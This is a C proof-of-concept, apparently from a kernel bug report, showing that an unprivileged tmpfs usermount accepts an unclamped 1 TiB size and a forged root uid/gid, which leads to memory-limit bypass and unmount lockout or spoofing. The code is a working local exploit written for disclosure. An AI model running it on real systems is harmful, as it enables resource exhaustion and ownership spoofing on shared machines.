DF-3183 / umount_demo.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 | /* * DF-3182 / DF-3183 โ unprivileged usermount of tmpfs with fully * attacker-controlled tmpfs_mount_info. * * vfs.usermount=1 + a directory owned by the invoking user is sufficient * (sys/kern/vfs_syscalls.c:152-155, caps are restriction bits, default * creds unrestricted). tmpfs_mount() then: * * DF-3182: derives tm_pages_max from args.ta_size_max with NO clamp to * pages_limit = vm_swap_max + v_page_count/2 (tmpfs_vfsops.c:157-173 โ * the >pages_limit branch deliberately does `pages = OFF_TO_IDX * (size_max)`), so the mount's memory cap is whatever the user says, * up to 2^51 pages. Proof: statfs().f_blocks == size_max/PAGE_SIZE. * * DF-3183: takes ta_root_uid / ta_root_gid verbatim for non-root * mounters (tmpfs_vfsops.c:142-144) โ only root_mode is sanitized * (:151-155) โ so the tmpfs root directory (and thus statfs f_owner, * which tmpfs_statfs overwrites with tm_root->tn_uid at :494) can be * forged to any uid/gid. sys_unmount()'s owner check * (vfs_syscalls.c:670) then denies the real mounter (self-lockout) or * empowers the forged uid to unmount the attacker's mount. * * Build: cc -O2 -o umount_demo umount_demo.c * Run (as an unprivileged user, dir owned by that user, * vfs.usermount=1): * ./umount_demo /home/test/mnt 0 # DF-3183 uid=0 spoof * ./umount_demo /home/test/mnt2 1000 # plain 1TiB size proof */ #include <sys/mount.h> #include <sys/param.h> #include <sys/stat.h> #include <sys/types.h> #include <err.h> #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> /* mirror of sys/vfs/tmpfs/tmpfs_mount.h struct tmpfs_mount_info */ struct tmpfs_mount_info { int ta_version; ino_t ta_nodes_max; off_t ta_size_max; size_t ta_maxfsize_max; uid_t ta_root_uid; gid_t ta_root_gid; mode_t ta_root_mode; }; int main(int argc, char **argv) { struct tmpfs_mount_info args; struct statfs sb; struct stat st; const char *dir; uid_t spoof; if (argc < 2) errx(1, "usage: %s <dir-owned-by-you> [spoof-uid]", argv[0]); dir = argv[1]; spoof = (uid_t)(argc > 2 ? strtoul(argv[2], NULL, 0) : getuid()); memset(&args, 0, sizeof(args)); args.ta_version = 2; args.ta_size_max = (off_t)1 << 40; /* 1 TiB, no clamp applies */ args.ta_nodes_max = 0; /* derived: ~1 billion */ args.ta_root_uid = spoof; args.ta_root_gid = spoof; args.ta_root_mode = 0755; /* ignored: forced 0600 */ printf("mounter uid=%d euid=%d, spoofing ta_root_uid/gid=%d, " "ta_size_max=1TiB\n", getuid(), geteuid(), spoof); if (mount("tmpfs", dir, 0, &args) < 0) err(1, "mount(tmpfs)"); if (statfs(dir, &sb) != 0) err(1, "statfs"); printf("statfs: f_blocks=%lld (x PAGE_SIZE = %lld bytes = %lld GiB), " "f_owner=%d (mounter is %d)\n", (long long)sb.f_blocks, (long long)sb.f_blocks * PAGE_SIZE, (long long)(sb.f_blocks * PAGE_SIZE >> 30), sb.f_owner, getuid()); if (stat(dir, &st) != 0) err(1, "stat"); printf("root dir owner: uid=%d gid=%d mode=%o\n", st.st_uid, st.st_gid, st.st_mode); /* unmount attempt by the real mounter (DF-3183 lockout demo) */ if (unmount(dir, 0) < 0) printf("unmount by mounter: FAILED (%s) โ f_owner forged " "to %d\n", strerror(errno), spoof); else printf("unmount by mounter: OK\n"); return 0; } |